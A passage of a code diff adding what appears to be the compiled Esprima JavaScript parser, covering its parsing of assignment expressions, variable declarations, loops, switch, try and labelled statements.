+	                    this.throwUnexpectedToken(this.lookahead);
+	                }
+	            }
+	        }
+	        if (options.message === messages_1.Messages.StrictParamDupe) {
+	            var token = this.context.strict ? options.stricted : options.firstRestricted;
+	            this.throwUnexpectedToken(token, options.message);
+	        }
+	        return {
+	            simple: options.simple,
+	            params: params,
+	            stricted: options.stricted,
+	            firstRestricted: options.firstRestricted,
+	            message: options.message
+	        };
+	    };
+	    Parser.prototype.parseAssignmentExpression = function () {
+	        var expr;
+	        if (!this.context.allowYield && this.matchKeyword('yield')) {
+	            expr = this.parseYieldExpression();
+	        }
+	        else {
+	            var startToken = this.lookahead;
+	            var token = startToken;
+	            expr = this.parseConditionalExpression();
+	            if (token.type === 3 /* Identifier */ && (token.lineNumber === this.lookahead.lineNumber) && token.value === 'async') {
+	                if (this.lookahead.type === 3 /* Identifier */ || this.matchKeyword('yield')) {
+	                    var arg = this.parsePrimaryExpression();
+	                    this.reinterpretExpressionAsPattern(arg);
+	                    expr = {
+	                        type: ArrowParameterPlaceHolder,
+	                        params: [arg],
+	                        async: true
+	                    };
+	                }
+	            }
+	            if (expr.type === ArrowParameterPlaceHolder || this.match('=>')) {
+	                // https://tc39.github.io/ecma262/#sec-arrow-function-definitions
+	                this.context.isAssignmentTarget = false;
+	                this.context.isBindingElement = false;
+	                var isAsync = expr.async;
+	                var list = this.reinterpretAsCoverFormalsList(expr);
+	                if (list) {
+	                    if (this.hasLineTerminator) {
+	                        this.tolerateUnexpectedToken(this.lookahead);
+	                    }
+	                    this.context.firstCoverInitializedNameError = null;
+	                    var previousStrict = this.context.strict;
+	                    var previousAllowStrictDirective = this.context.allowStrictDirective;
+	                    this.context.allowStrictDirective = list.simple;
+	                    var previousAllowYield = this.context.allowYield;
+	                    var previousAwait = this.context.await;
+	                    this.context.allowYield = true;
+	                    this.context.await = isAsync;
+	                    var node = this.startNode(startToken);
+	                    this.expect('=>');
+	                    var body = void 0;
+	                    if (this.match('{')) {
+	                        var previousAllowIn = this.context.allowIn;
+	                        this.context.allowIn = true;
+	                        body = this.parseFunctionSourceElements();
+	                        this.context.allowIn = previousAllowIn;
+	                    }
+	                    else {
+	                        body = this.isolateCoverGrammar(this.parseAssignmentExpression);
+	                    }
+	                    var expression = body.type !== syntax_1.Syntax.BlockStatement;
+	                    if (this.context.strict && list.firstRestricted) {
+	                        this.throwUnexpectedToken(list.firstRestricted, list.message);
+	                    }
+	                    if (this.context.strict && list.stricted) {
+	                        this.tolerateUnexpectedToken(list.stricted, list.message);
+	                    }
+	                    expr = isAsync ? this.finalize(node, new Node.AsyncArrowFunctionExpression(list.params, body, expression)) :
+	                        this.finalize(node, new Node.ArrowFunctionExpression(list.params, body, expression));
+	                    this.context.strict = previousStrict;
+	                    this.context.allowStrictDirective = previousAllowStrictDirective;
+	                    this.context.allowYield = previousAllowYield;
+	                    this.context.await = previousAwait;
+	                }
+	            }
+	            else {
+	                if (this.matchAssign()) {
+	                    if (!this.context.isAssignmentTarget) {
+	                        this.tolerateError(messages_1.Messages.InvalidLHSInAssignment);
+	                    }
+	                    if (this.context.strict && expr.type === syntax_1.Syntax.Identifier) {
+	                        var id = expr;
+	                        if (this.scanner.isRestrictedWord(id.name)) {
+	                            this.tolerateUnexpectedToken(token, messages_1.Messages.StrictLHSAssignment);
+	                        }
+	                        if (this.scanner.isStrictModeReservedWord(id.name)) {
+	                            this.tolerateUnexpectedToken(token, messages_1.Messages.StrictReservedWord);
+	                        }
+	                    }
+	                    if (!this.match('=')) {
+	                        this.context.isAssignmentTarget = false;
+	                        this.context.isBindingElement = false;
+	                    }
+	                    else {
+	                        this.reinterpretExpressionAsPattern(expr);
+	                    }
+	                    token = this.nextToken();
+	                    var operator = token.value;
+	                    var right = this.isolateCoverGrammar(this.parseAssignmentExpression);
+	                    expr = this.finalize(this.startNode(startToken), new Node.AssignmentExpression(operator, expr, right));
+	                    this.context.firstCoverInitializedNameError = null;
+	                }
+	            }
+	        }
+	        return expr;
+	    };
+	    // https://tc39.github.io/ecma262/#sec-comma-operator
+	    Parser.prototype.parseExpression = function () {
+	        var startToken = this.lookahead;
+	        var expr = this.isolateCoverGrammar(this.parseAssignmentExpression);
+	        if (this.match(',')) {
+	            var expressions = [];
+	            expressions.push(expr);
+	            while (this.lookahead.type !== 2 /* EOF */) {
+	                if (!this.match(',')) {
+	                    break;
+	                }
+	                this.nextToken();
+	                expressions.push(this.isolateCoverGrammar(this.parseAssignmentExpression));
+	            }
+	            expr = this.finalize(this.startNode(startToken), new Node.SequenceExpression(expressions));
+	        }
+	        return expr;
+	    };
+	    // https://tc39.github.io/ecma262/#sec-block
+	    Parser.prototype.parseStatementListItem = function () {
+	        var statement;
+	        this.context.isAssignmentTarget = true;
+	        this.context.isBindingElement = true;
+	        if (this.lookahead.type === 4 /* Keyword */) {
+	            switch (this.lookahead.value) {
+	                case 'export':
+	                    if (!this.context.isModule) {
+	                        this.tolerateUnexpectedToken(this.lookahead, messages_1.Messages.IllegalExportDeclaration);
+	                    }
+	                    statement = this.parseExportDeclaration();
+	                    break;
+	                case 'import':
+	                    if (!this.context.isModule) {
+	                        this.tolerateUnexpectedToken(this.lookahead, messages_1.Messages.IllegalImportDeclaration);
+	                    }
+	                    statement = this.parseImportDeclaration();
+	                    break;
+	                case 'const':
+	                    statement = this.parseLexicalDeclaration({ inFor: false });
+	                    break;
+	                case 'function':
+	                    statement = this.parseFunctionDeclaration();
+	                    break;
+	                case 'class':
+	                    statement = this.parseClassDeclaration();
+	                    break;
+	                case 'let':
+	                    statement = this.isLexicalDeclaration() ? this.parseLexicalDeclaration({ inFor: false }) : this.parseStatement();
+	                    break;
+	                default:
+	                    statement = this.parseStatement();
+	                    break;
+	            }
+	        }
+	        else {
+	            statement = this.parseStatement();
+	        }
+	        return statement;
+	    };
+	    Parser.prototype.parseBlock = function () {
+	        var node = this.createNode();
+	        this.expect('{');
+	        var block = [];
+	        while (true) {
+	            if (this.match('}')) {
+	                break;
+	            }
+	            block.push(this.parseStatementListItem());
+	        }
+	        this.expect('}');
+	        return this.finalize(node, new Node.BlockStatement(block));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-let-and-const-declarations
+	    Parser.prototype.parseLexicalBinding = function (kind, options) {
+	        var node = this.createNode();
+	        var params = [];
+	        var id = this.parsePattern(params, kind);
+	        if (this.context.strict && id.type === syntax_1.Syntax.Identifier) {
+	            if (this.scanner.isRestrictedWord(id.name)) {
+	                this.tolerateError(messages_1.Messages.StrictVarName);
+	            }
+	        }
+	        var init = null;
+	        if (kind === 'const') {
+	            if (!this.matchKeyword('in') && !this.matchContextualKeyword('of')) {
+	                if (this.match('=')) {
+	                    this.nextToken();
+	                    init = this.isolateCoverGrammar(this.parseAssignmentExpression);
+	                }
+	                else {
+	                    this.throwError(messages_1.Messages.DeclarationMissingInitializer, 'const');
+	                }
+	            }
+	        }
+	        else if ((!options.inFor && id.type !== syntax_1.Syntax.Identifier) || this.match('=')) {
+	            this.expect('=');
+	            init = this.isolateCoverGrammar(this.parseAssignmentExpression);
+	        }
+	        return this.finalize(node, new Node.VariableDeclarator(id, init));
+	    };
+	    Parser.prototype.parseBindingList = function (kind, options) {
+	        var list = [this.parseLexicalBinding(kind, options)];
+	        while (this.match(',')) {
+	            this.nextToken();
+	            list.push(this.parseLexicalBinding(kind, options));
+	        }
+	        return list;
+	    };
+	    Parser.prototype.isLexicalDeclaration = function () {
+	        var state = this.scanner.saveState();
+	        this.scanner.scanComments();
+	        var next = this.scanner.lex();
+	        this.scanner.restoreState(state);
+	        return (next.type === 3 /* Identifier */) ||
+	            (next.type === 7 /* Punctuator */ && next.value === '[') ||
+	            (next.type === 7 /* Punctuator */ && next.value === '{') ||
+	            (next.type === 4 /* Keyword */ && next.value === 'let') ||
+	            (next.type === 4 /* Keyword */ && next.value === 'yield');
+	    };
+	    Parser.prototype.parseLexicalDeclaration = function (options) {
+	        var node = this.createNode();
+	        var kind = this.nextToken().value;
+	        assert_1.assert(kind === 'let' || kind === 'const', 'Lexical declaration must be either let or const');
+	        var declarations = this.parseBindingList(kind, options);
+	        this.consumeSemicolon();
+	        return this.finalize(node, new Node.VariableDeclaration(declarations, kind));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-destructuring-binding-patterns
+	    Parser.prototype.parseBindingRestElement = function (params, kind) {
+	        var node = this.createNode();
+	        this.expect('...');
+	        var arg = this.parsePattern(params, kind);
+	        return this.finalize(node, new Node.RestElement(arg));
+	    };
+	    Parser.prototype.parseArrayPattern = function (params, kind) {
+	        var node = this.createNode();
+	        this.expect('[');
+	        var elements = [];
+	        while (!this.match(']')) {
+	            if (this.match(',')) {
+	                this.nextToken();
+	                elements.push(null);
+	            }
+	            else {
+	                if (this.match('...')) {
+	                    elements.push(this.parseBindingRestElement(params, kind));
+	                    break;
+	                }
+	                else {
+	                    elements.push(this.parsePatternWithDefault(params, kind));
+	                }
+	                if (!this.match(']')) {
+	                    this.expect(',');
+	                }
+	            }
+	        }
+	        this.expect(']');
+	        return this.finalize(node, new Node.ArrayPattern(elements));
+	    };
+	    Parser.prototype.parsePropertyPattern = function (params, kind) {
+	        var node = this.createNode();
+	        var computed = false;
+	        var shorthand = false;
+	        var method = false;
+	        var key;
+	        var value;
+	        if (this.lookahead.type === 3 /* Identifier */) {
+	            var keyToken = this.lookahead;
+	            key = this.parseVariableIdentifier();
+	            var init = this.finalize(node, new Node.Identifier(keyToken.value));
+	            if (this.match('=')) {
+	                params.push(keyToken);
+	                shorthand = true;
+	                this.nextToken();
+	                var expr = this.parseAssignmentExpression();
+	                value = this.finalize(this.startNode(keyToken), new Node.AssignmentPattern(init, expr));
+	            }
+	            else if (!this.match(':')) {
+	                params.push(keyToken);
+	                shorthand = true;
+	                value = init;
+	            }
+	            else {
+	                this.expect(':');
+	                value = this.parsePatternWithDefault(params, kind);
+	            }
+	        }
+	        else {
+	            computed = this.match('[');
+	            key = this.parseObjectPropertyKey();
+	            this.expect(':');
+	            value = this.parsePatternWithDefault(params, kind);
+	        }
+	        return this.finalize(node, new Node.Property('init', key, computed, value, method, shorthand));
+	    };
+	    Parser.prototype.parseObjectPattern = function (params, kind) {
+	        var node = this.createNode();
+	        var properties = [];
+	        this.expect('{');
+	        while (!this.match('}')) {
+	            properties.push(this.parsePropertyPattern(params, kind));
+	            if (!this.match('}')) {
+	                this.expect(',');
+	            }
+	        }
+	        this.expect('}');
+	        return this.finalize(node, new Node.ObjectPattern(properties));
+	    };
+	    Parser.prototype.parsePattern = function (params, kind) {
+	        var pattern;
+	        if (this.match('[')) {
+	            pattern = this.parseArrayPattern(params, kind);
+	        }
+	        else if (this.match('{')) {
+	            pattern = this.parseObjectPattern(params, kind);
+	        }
+	        else {
+	            if (this.matchKeyword('let') && (kind === 'const' || kind === 'let')) {
+	                this.tolerateUnexpectedToken(this.lookahead, messages_1.Messages.LetInLexicalBinding);
+	            }
+	            params.push(this.lookahead);
+	            pattern = this.parseVariableIdentifier(kind);
+	        }
+	        return pattern;
+	    };
+	    Parser.prototype.parsePatternWithDefault = function (params, kind) {
+	        var startToken = this.lookahead;
+	        var pattern = this.parsePattern(params, kind);
+	        if (this.match('=')) {
+	            this.nextToken();
+	            var previousAllowYield = this.context.allowYield;
+	            this.context.allowYield = true;
+	            var right = this.isolateCoverGrammar(this.parseAssignmentExpression);
+	            this.context.allowYield = previousAllowYield;
+	            pattern = this.finalize(this.startNode(startToken), new Node.AssignmentPattern(pattern, right));
+	        }
+	        return pattern;
+	    };
+	    // https://tc39.github.io/ecma262/#sec-variable-statement
+	    Parser.prototype.parseVariableIdentifier = function (kind) {
+	        var node = this.createNode();
+	        var token = this.nextToken();
+	        if (token.type === 4 /* Keyword */ && token.value === 'yield') {
+	            if (this.context.strict) {
+	                this.tolerateUnexpectedToken(token, messages_1.Messages.StrictReservedWord);
+	            }
+	            else if (!this.context.allowYield) {
+	                this.throwUnexpectedToken(token);
+	            }
+	        }
+	        else if (token.type !== 3 /* Identifier */) {
+	            if (this.context.strict && token.type === 4 /* Keyword */ && this.scanner.isStrictModeReservedWord(token.value)) {
+	                this.tolerateUnexpectedToken(token, messages_1.Messages.StrictReservedWord);
+	            }
+	            else {
+	                if (this.context.strict || token.value !== 'let' || kind !== 'var') {
+	                    this.throwUnexpectedToken(token);
+	                }
+	            }
+	        }
+	        else if ((this.context.isModule || this.context.await) && token.type === 3 /* Identifier */ && token.value === 'await') {
+	            this.tolerateUnexpectedToken(token);
+	        }
+	        return this.finalize(node, new Node.Identifier(token.value));
+	    };
+	    Parser.prototype.parseVariableDeclaration = function (options) {
+	        var node = this.createNode();
+	        var params = [];
+	        var id = this.parsePattern(params, 'var');
+	        if (this.context.strict && id.type === syntax_1.Syntax.Identifier) {
+	            if (this.scanner.isRestrictedWord(id.name)) {
+	                this.tolerateError(messages_1.Messages.StrictVarName);
+	            }
+	        }
+	        var init = null;
+	        if (this.match('=')) {
+	            this.nextToken();
+	            init = this.isolateCoverGrammar(this.parseAssignmentExpression);
+	        }
+	        else if (id.type !== syntax_1.Syntax.Identifier && !options.inFor) {
+	            this.expect('=');
+	        }
+	        return this.finalize(node, new Node.VariableDeclarator(id, init));
+	    };
+	    Parser.prototype.parseVariableDeclarationList = function (options) {
+	        var opt = { inFor: options.inFor };
+	        var list = [];
+	        list.push(this.parseVariableDeclaration(opt));
+	        while (this.match(',')) {
+	            this.nextToken();
+	            list.push(this.parseVariableDeclaration(opt));
+	        }
+	        return list;
+	    };
+	    Parser.prototype.parseVariableStatement = function () {
+	        var node = this.createNode();
+	        this.expectKeyword('var');
+	        var declarations = this.parseVariableDeclarationList({ inFor: false });
+	        this.consumeSemicolon();
+	        return this.finalize(node, new Node.VariableDeclaration(declarations, 'var'));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-empty-statement
+	    Parser.prototype.parseEmptyStatement = function () {
+	        var node = this.createNode();
+	        this.expect(';');
+	        return this.finalize(node, new Node.EmptyStatement());
+	    };
+	    // https://tc39.github.io/ecma262/#sec-expression-statement
+	    Parser.prototype.parseExpressionStatement = function () {
+	        var node = this.createNode();
+	        var expr = this.parseExpression();
+	        this.consumeSemicolon();
+	        return this.finalize(node, new Node.ExpressionStatement(expr));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-if-statement
+	    Parser.prototype.parseIfClause = function () {
+	        if (this.context.strict && this.matchKeyword('function')) {
+	            this.tolerateError(messages_1.Messages.StrictFunction);
+	        }
+	        return this.parseStatement();
+	    };
+	    Parser.prototype.parseIfStatement = function () {
+	        var node = this.createNode();
+	        var consequent;
+	        var alternate = null;
+	        this.expectKeyword('if');
+	        this.expect('(');
+	        var test = this.parseExpression();
+	        if (!this.match(')') && this.config.tolerant) {
+	            this.tolerateUnexpectedToken(this.nextToken());
+	            consequent = this.finalize(this.createNode(), new Node.EmptyStatement());
+	        }
+	        else {
+	            this.expect(')');
+	            consequent = this.parseIfClause();
+	            if (this.matchKeyword('else')) {
+	                this.nextToken();
+	                alternate = this.parseIfClause();
+	            }
+	        }
+	        return this.finalize(node, new Node.IfStatement(test, consequent, alternate));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-do-while-statement
+	    Parser.prototype.parseDoWhileStatement = function () {
+	        var node = this.createNode();
+	        this.expectKeyword('do');
+	        var previousInIteration = this.context.inIteration;
+	        this.context.inIteration = true;
+	        var body = this.parseStatement();
+	        this.context.inIteration = previousInIteration;
+	        this.expectKeyword('while');
+	        this.expect('(');
+	        var test = this.parseExpression();
+	        if (!this.match(')') && this.config.tolerant) {
+	            this.tolerateUnexpectedToken(this.nextToken());
+	        }
+	        else {
+	            this.expect(')');
+	            if (this.match(';')) {
+	                this.nextToken();
+	            }
+	        }
+	        return this.finalize(node, new Node.DoWhileStatement(body, test));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-while-statement
+	    Parser.prototype.parseWhileStatement = function () {
+	        var node = this.createNode();
+	        var body;
+	        this.expectKeyword('while');
+	        this.expect('(');
+	        var test = this.parseExpression();
+	        if (!this.match(')') && this.config.tolerant) {
+	            this.tolerateUnexpectedToken(this.nextToken());
+	            body = this.finalize(this.createNode(), new Node.EmptyStatement());
+	        }
+	        else {
+	            this.expect(')');
+	            var previousInIteration = this.context.inIteration;
+	            this.context.inIteration = true;
+	            body = this.parseStatement();
+	            this.context.inIteration = previousInIteration;
+	        }
+	        return this.finalize(node, new Node.WhileStatement(test, body));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-for-statement
+	    // https://tc39.github.io/ecma262/#sec-for-in-and-for-of-statements
+	    Parser.prototype.parseForStatement = function () {
+	        var init = null;
+	        var test = null;
+	        var update = null;
+	        var forIn = true;
+	        var left, right;
+	        var node = this.createNode();
+	        this.expectKeyword('for');
+	        this.expect('(');
+	        if (this.match(';')) {
+	            this.nextToken();
+	        }
+	        else {
+	            if (this.matchKeyword('var')) {
+	                init = this.createNode();
+	                this.nextToken();
+	                var previousAllowIn = this.context.allowIn;
+	                this.context.allowIn = false;
+	                var declarations = this.parseVariableDeclarationList({ inFor: true });
+	                this.context.allowIn = previousAllowIn;
+	                if (declarations.length === 1 && this.matchKeyword('in')) {
+	                    var decl = declarations[0];
+	                    if (decl.init && (decl.id.type === syntax_1.Syntax.ArrayPattern || decl.id.type === syntax_1.Syntax.ObjectPattern || this.context.strict)) {
+	                        this.tolerateError(messages_1.Messages.ForInOfLoopInitializer, 'for-in');
+	                    }
+	                    init = this.finalize(init, new Node.VariableDeclaration(declarations, 'var'));
+	                    this.nextToken();
+	                    left = init;
+	                    right = this.parseExpression();
+	                    init = null;
+	                }
+	                else if (declarations.length === 1 && declarations[0].init === null && this.matchContextualKeyword('of')) {
+	                    init = this.finalize(init, new Node.VariableDeclaration(declarations, 'var'));
+	                    this.nextToken();
+	                    left = init;
+	                    right = this.parseAssignmentExpression();
+	                    init = null;
+	                    forIn = false;
+	                }
+	                else {
+	                    init = this.finalize(init, new Node.VariableDeclaration(declarations, 'var'));
+	                    this.expect(';');
+	                }
+	            }
+	            else if (this.matchKeyword('const') || this.matchKeyword('let')) {
+	                init = this.createNode();
+	                var kind = this.nextToken().value;
+	                if (!this.context.strict && this.lookahead.value === 'in') {
+	                    init = this.finalize(init, new Node.Identifier(kind));
+	                    this.nextToken();
+	                    left = init;
+	                    right = this.parseExpression();
+	                    init = null;
+	                }
+	                else {
+	                    var previousAllowIn = this.context.allowIn;
+	                    this.context.allowIn = false;
+	                    var declarations = this.parseBindingList(kind, { inFor: true });
+	                    this.context.allowIn = previousAllowIn;
+	                    if (declarations.length === 1 && declarations[0].init === null && this.matchKeyword('in')) {
+	                        init = this.finalize(init, new Node.VariableDeclaration(declarations, kind));
+	                        this.nextToken();
+	                        left = init;
+	                        right = this.parseExpression();
+	                        init = null;
+	                    }
+	                    else if (declarations.length === 1 && declarations[0].init === null && this.matchContextualKeyword('of')) {
+	                        init = this.finalize(init, new Node.VariableDeclaration(declarations, kind));
+	                        this.nextToken();
+	                        left = init;
+	                        right = this.parseAssignmentExpression();
+	                        init = null;
+	                        forIn = false;
+	                    }
+	                    else {
+	                        this.consumeSemicolon();
+	                        init = this.finalize(init, new Node.VariableDeclaration(declarations, kind));
+	                    }
+	                }
+	            }
+	            else {
+	                var initStartToken = this.lookahead;
+	                var previousAllowIn = this.context.allowIn;
+	                this.context.allowIn = false;
+	                init = this.inheritCoverGrammar(this.parseAssignmentExpression);
+	                this.context.allowIn = previousAllowIn;
+	                if (this.matchKeyword('in')) {
+	                    if (!this.context.isAssignmentTarget || init.type === syntax_1.Syntax.AssignmentExpression) {
+	                        this.tolerateError(messages_1.Messages.InvalidLHSInForIn);
+	                    }
+	                    this.nextToken();
+	                    this.reinterpretExpressionAsPattern(init);
+	                    left = init;
+	                    right = this.parseExpression();
+	                    init = null;
+	                }
+	                else if (this.matchContextualKeyword('of')) {
+	                    if (!this.context.isAssignmentTarget || init.type === syntax_1.Syntax.AssignmentExpression) {
+	                        this.tolerateError(messages_1.Messages.InvalidLHSInForLoop);
+	                    }
+	                    this.nextToken();
+	                    this.reinterpretExpressionAsPattern(init);
+	                    left = init;
+	                    right = this.parseAssignmentExpression();
+	                    init = null;
+	                    forIn = false;
+	                }
+	                else {
+	                    if (this.match(',')) {
+	                        var initSeq = [init];
+	                        while (this.match(',')) {
+	                            this.nextToken();
+	                            initSeq.push(this.isolateCoverGrammar(this.parseAssignmentExpression));
+	                        }
+	                        init = this.finalize(this.startNode(initStartToken), new Node.SequenceExpression(initSeq));
+	                    }
+	                    this.expect(';');
+	                }
+	            }
+	        }
+	        if (typeof left === 'undefined') {
+	            if (!this.match(';')) {
+	                test = this.parseExpression();
+	            }
+	            this.expect(';');
+	            if (!this.match(')')) {
+	                update = this.parseExpression();
+	            }
+	        }
+	        var body;
+	        if (!this.match(')') && this.config.tolerant) {
+	            this.tolerateUnexpectedToken(this.nextToken());
+	            body = this.finalize(this.createNode(), new Node.EmptyStatement());
+	        }
+	        else {
+	            this.expect(')');
+	            var previousInIteration = this.context.inIteration;
+	            this.context.inIteration = true;
+	            body = this.isolateCoverGrammar(this.parseStatement);
+	            this.context.inIteration = previousInIteration;
+	        }
+	        return (typeof left === 'undefined') ?
+	            this.finalize(node, new Node.ForStatement(init, test, update, body)) :
+	            forIn ? this.finalize(node, new Node.ForInStatement(left, right, body)) :
+	                this.finalize(node, new Node.ForOfStatement(left, right, body));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-continue-statement
+	    Parser.prototype.parseContinueStatement = function () {
+	        var node = this.createNode();
+	        this.expectKeyword('continue');
+	        var label = null;
+	        if (this.lookahead.type === 3 /* Identifier */ && !this.hasLineTerminator) {
+	            var id = this.parseVariableIdentifier();
+	            label = id;
+	            var key = '$' + id.name;
+	            if (!Object.prototype.hasOwnProperty.call(this.context.labelSet, key)) {
+	                this.throwError(messages_1.Messages.UnknownLabel, id.name);
+	            }
+	        }
+	        this.consumeSemicolon();
+	        if (label === null && !this.context.inIteration) {
+	            this.throwError(messages_1.Messages.IllegalContinue);
+	        }
+	        return this.finalize(node, new Node.ContinueStatement(label));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-break-statement
+	    Parser.prototype.parseBreakStatement = function () {
+	        var node = this.createNode();
+	        this.expectKeyword('break');
+	        var label = null;
+	        if (this.lookahead.type === 3 /* Identifier */ && !this.hasLineTerminator) {
+	            var id = this.parseVariableIdentifier();
+	            var key = '$' + id.name;
+	            if (!Object.prototype.hasOwnProperty.call(this.context.labelSet, key)) {
+	                this.throwError(messages_1.Messages.UnknownLabel, id.name);
+	            }
+	            label = id;
+	        }
+	        this.consumeSemicolon();
+	        if (label === null && !this.context.inIteration && !this.context.inSwitch) {
+	            this.throwError(messages_1.Messages.IllegalBreak);
+	        }
+	        return this.finalize(node, new Node.BreakStatement(label));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-return-statement
+	    Parser.prototype.parseReturnStatement = function () {
+	        if (!this.context.inFunctionBody) {
+	            this.tolerateError(messages_1.Messages.IllegalReturn);
+	        }
+	        var node = this.createNode();
+	        this.expectKeyword('return');
+	        var hasArgument = !this.match(';') && !this.match('}') &&
+	            !this.hasLineTerminator && this.lookahead.type !== 2 /* EOF */;
+	        var argument = hasArgument ? this.parseExpression() : null;
+	        this.consumeSemicolon();
+	        return this.finalize(node, new Node.ReturnStatement(argument));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-with-statement
+	    Parser.prototype.parseWithStatement = function () {
+	        if (this.context.strict) {
+	            this.tolerateError(messages_1.Messages.StrictModeWith);
+	        }
+	        var node = this.createNode();
+	        var body;
+	        this.expectKeyword('with');
+	        this.expect('(');
+	        var object = this.parseExpression();
+	        if (!this.match(')') && this.config.tolerant) {
+	            this.tolerateUnexpectedToken(this.nextToken());
+	            body = this.finalize(this.createNode(), new Node.EmptyStatement());
+	        }
+	        else {
+	            this.expect(')');
+	            body = this.parseStatement();
+	        }
+	        return this.finalize(node, new Node.WithStatement(object, body));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-switch-statement
+	    Parser.prototype.parseSwitchCase = function () {
+	        var node = this.createNode();
+	        var test;
+	        if (this.matchKeyword('default')) {
+	            this.nextToken();
+	            test = null;
+	        }
+	        else {
+	            this.expectKeyword('case');
+	            test = this.parseExpression();
+	        }
+	        this.expect(':');
+	        var consequent = [];
+	        while (true) {
+	            if (this.match('}') || this.matchKeyword('default') || this.matchKeyword('case')) {
+	                break;
+	            }
+	            consequent.push(this.parseStatementListItem());
+	        }
+	        return this.finalize(node, new Node.SwitchCase(test, consequent));
+	    };
+	    Parser.prototype.parseSwitchStatement = function () {
+	        var node = this.createNode();
+	        this.expectKeyword('switch');
+	        this.expect('(');
+	        var discriminant = this.parseExpression();
+	        this.expect(')');
+	        var previousInSwitch = this.context.inSwitch;
+	        this.context.inSwitch = true;
+	        var cases = [];
+	        var defaultFound = false;
+	        this.expect('{');
+	        while (true) {
+	            if (this.match('}')) {
+	                break;
+	            }
+	            var clause = this.parseSwitchCase();
+	            if (clause.test === null) {
+	                if (defaultFound) {
+	                    this.throwError(messages_1.Messages.MultipleDefaultsInSwitch);
+	                }
+	                defaultFound = true;
+	            }
+	            cases.push(clause);
+	        }
+	        this.expect('}');
+	        this.context.inSwitch = previousInSwitch;
+	        return this.finalize(node, new Node.SwitchStatement(discriminant, cases));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-labelled-statements
+	    Parser.prototype.parseLabelledStatement = function () {
+	        var node = this.createNode();
+	        var expr = this.parseExpression();
+	        var statement;
+	        if ((expr.type === syntax_1.Syntax.Identifier) && this.match(':')) {
+	            this.nextToken();
+	            var id = expr;
+	            var key = '$' + id.name;
+	            if (Object.prototype.hasOwnProperty.call(this.context.labelSet, key)) {
+	                this.throwError(messages_1.Messages.Redeclaration, 'Label', id.name);
+	            }
+	            this.context.labelSet[key] = true;
+	            var body = void 0;
+	            if (this.matchKeyword('class')) {
+	                this.tolerateUnexpectedToken(this.lookahead);
+	                body = this.parseClassDeclaration();
+	            }
+	            else if (this.matchKeyword('function')) {
+	                var token = this.lookahead;
+	                var declaration = this.parseFunctionDeclaration();
+	                if (this.context.strict) {
+	                    this.tolerateUnexpectedToken(token, messages_1.Messages.StrictFunction);
+	                }
+	                else if (declaration.generator) {
+	                    this.tolerateUnexpectedToken(token, messages_1.Messages.GeneratorInLegacyContext);
+	                }
+	                body = declaration;
+	            }
+	            else {
+	                body = this.parseStatement();
+	            }
+	            delete this.context.labelSet[key];
+	            statement = new Node.LabeledStatement(id, body);
+	        }
+	        else {
+	            this.consumeSemicolon();
+	            statement = new Node.ExpressionStatement(expr);
+	        }
+	        return this.finalize(node, statement);
+	    };
+	    // https://tc39.github.io/ecma262/#sec-throw-statement
+	    Parser.prototype.parseThrowStatement = function () {
+	        var node = this.createNode();
+	        this.expectKeyword('throw');
+	        if (this.hasLineTerminator) {
+	            this.throwError(messages_1.Messages.NewlineAfterThrow);
+	        }
+	        var argument = this.parseExpression();
+	        this.consumeSemicolon();
+	        return this.finalize(node, new Node.ThrowStatement(argument));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-try-statement
+	    Parser.prototype.parseCatchClause = function () {
+	        var node = this.createNode();
+	        this.expectKeyword('catch');
+	        this.expect('(');
+	        if (this.match(')')) {
+	            this.throwUnexpectedToken(this.lookahead);
+	        }
+	        var params = [];
+	        var param = this.parsePattern(params);
+	        var paramMap = {};
+	        for (var i = 0; i < params.length; i++) {
+	            var key = '$' + params[i].value;
+	            if (Object.prototype.hasOwnProperty.call(paramMap, key)) {
+	                this.tolerateError(messages_1.Messages.DuplicateBinding, params[i].value);
+	            }
+	            paramMap[key] = true;
+	        }
+	        if (this.context.strict && param.type === syntax_1.Syntax.Identifier) {
+	            if (this.scanner.isRestrictedWord(param.name)) {
+	                this.tolerateError(messages_1.Messages.StrictCatchVariable);
+	            }
+	        }
+	        this.expect(')');
+	        var body = this.parseBlock();
+	        return this.finalize(node, new Node.CatchClause(param, body));
+	    };
+	    Parser.prototype.parseFinallyClause = function () {
+	        this.expectKeyword('finally');
+	        return this.parseBlock();
+	    };
+	    Parser.prototype.parseTryStatement = function () {
+	        var node = this.createNode();
+	        this.expectKeyword('try');
+	        var block = this.parseBlock();
+	        var handler = this.matchKeyword('catch') ? this.parseCatchClause() : null;
+	        var finalizer = this.matchKeyword('finally') ? this.parseFinallyClause() : null;
+	        if (!handler && !finalizer) {
+	            this.throwError(messages_1.Messages.NoCatchOrFinally);
+	        }
+	        return this.finalize(node, new Node.TryStatement(block, handler, finalizer));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-debugger-statement
+	    Parser.prototype.parseDebuggerStatement = function () {
+	        var node = this.createNode();
+	        this.expectKeyword('debugger');
+	        this.consumeSemicolon();
+	        return this.finalize(node, new Node.DebuggerStatement());
+	    };
+	    // https://tc39.github.io/ecma262/#sec-ecmascript-language-statements-and-declarations
+	    Parser.prototype.parseStatement = function () {
+	        var statement;
+	        switch (this.lookahead.type) {
+	            case 1 /* BooleanLiteral */:
+	            case 5 /* NullLiteral */:
+	            case 6 /* NumericLiteral */:
+	            case 8 /* StringLiteral */:
+	            case 10 /* Template */:
+	            case 9 /* RegularExpression */:
+	                statement = this.parseExpressionStatement();
+	                break;
+	            case 7 /* Punctuator */:
+	                var value = this.lookahead.value;
+	                if (value === '{') {
+	                    statement = this.parseBlock();
+	                }
+	                else if (value === '(') {
+	                    statement = this.parseExpressionStatement();
+	                }
+	                else if (value === ';') {
+	                    statement = this.parseEmptyStatement();
+	                }
+	                else {
+	                    statement = this.parseExpressionStatement();
+	                }
+	                break;
+	            case 3 /* Identifier */:
+	                statement = this.matchAsyncFunction() ? this.parseFunctionDeclaration() : this.parseLabelledStatement();
+	                break;
